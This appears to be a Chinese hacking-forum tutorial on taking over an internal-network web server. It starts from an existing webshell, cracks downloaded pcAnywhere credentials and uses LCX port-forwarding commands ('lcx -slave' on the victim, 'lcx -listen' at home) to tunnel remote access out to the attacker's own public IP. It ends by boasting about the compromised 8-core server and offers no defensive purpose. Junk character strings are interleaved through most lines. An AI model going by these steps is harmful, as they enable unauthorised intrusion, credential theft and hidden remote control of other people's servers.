- 帖子
- 199
- 积分
- 724
- 威望
- 508
- 金钱
- 10463
- 在线时间
- 185 小时
|
很多教程都是在外网直接连接的,像我这样的小菜没有这么好的命,我在用pcanywhere提权时问题总是多多,所以我今天做个在内网连接pcanywhere的简单教程。. c( a! F( z \6 {5 k$ O. W
9 d* ~$ ~, s: Y' @# C
提权方法:pcanywhere+LCX& s0 S8 w- f# d; k7 j* f: m
2 ]& E) I# q t0 z获得webshell的过程就不说了,该篇教程主要给新手讲下提权的思路。
" l. z4 Z* Y! @# C u' J8 W/ n) z! f+ d: y
在shell里看了下,WScript.shell等重要的组件没有被禁用,首先在有可执行读写权限的目录,上传个cmd试下可以运行。' N& W: S0 a7 [4 K5 `
5 L2 a6 d) p% y! J/ Z: _; Y! m/ O/ m( {
& B. @! s T) `$ R查看服务器开的端口时,发现服务器开了80、1433、5631等端口,并且服务器在内网。3 P( l6 \/ A4 l5 C0 \- @
) g5 S, c8 r! U+ k
* z/ \7 ?: Y; X+ z7 W( H: Y1 O
呵呵```pcanywhere的端口为5631,既然该站点有pcanywhere,我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件,下载到本地计算机上破解,呵呵```账号密码出来了。4 n! z: B0 i0 w% n& _
; B+ u7 |( Q K) a. w! ~( X' w* E" |+ P
6 ?/ s: r/ t. m) {- j
) B2 U A- ]4 z! u( b. J, H
由于服务器在内网,那我们就要做端口转发,又要用到LCX啦``8 @8 i9 u! \$ u8 s+ q/ V3 U. [
8 g9 c! k0 R7 F- r! n" g
- I2 G& v% b5 Z9 n2 OLCX的用法再简单说下:
~4 F$ E5 ]" t; D- q
. V: d) S0 e9 D( d服务器上运行:lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX(服务器ip) XXXX(服务器需要转发出去的端口)
! W8 |' v1 A& a8 N4 h- l; v$ e" J/ o% v7 h1 e4 U4 b4 [0 x
本地计算机上运行:lcx -listen XX(端口号) XXX(在自己机器上指定的端口)- j8 `8 o% a' v$ _) ^+ o
, F0 X' i9 `5 {由于我的机器也在内网,LCX 转发端口到本地必须用公网ip,所以我还需要在路由器上简单设置下。# y. m1 T9 u# n G
顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``
: o+ X3 ]0 c: s; \+ y
) _6 R1 i) M% R; \. J0 _$ y# ?# E8 }' o/ \" f0 T3 d6 b. A
) p P9 h }8 Z( N7 F7 ]% R% Z* ]- K# r8 Z
呵呵``在连接的过程中出现个小问题,由于我用的是pcanyshell10.5的版本,在连接的时候提示版本过低,那我们就用12.0的版本试下。
/ E& Y( [" K& ^7 [9 \0 t
* S0 o9 O( r. n. @
f/ A# F/ e* P7 o+ d1 [+ F0 ^1 c$ u& N L4 ?/ j* z2 a
+ ?6 q: R& r& d0 @$ D$ ?0 e+ l# ?我们本地连接试试,输入我们刚破解的账号密码
7 r% C, L& S O7 ] ?6 Y
0 m m. n* t' z7 n: I+ m/ U8 C$ K
& M9 c, z6 k' W) ]( H呵呵``连接成功,服务器不错,又一个8核^︵^
7 U) @8 s3 S2 \0 C/ o7 j' X7 g3 J- x; l
* Q( ?, v. Z- l
% `. f0 h, X7 I |
附件: 您需要登录才可以下载或查看附件。没有帐号?注册
-
1
评分人数
-
|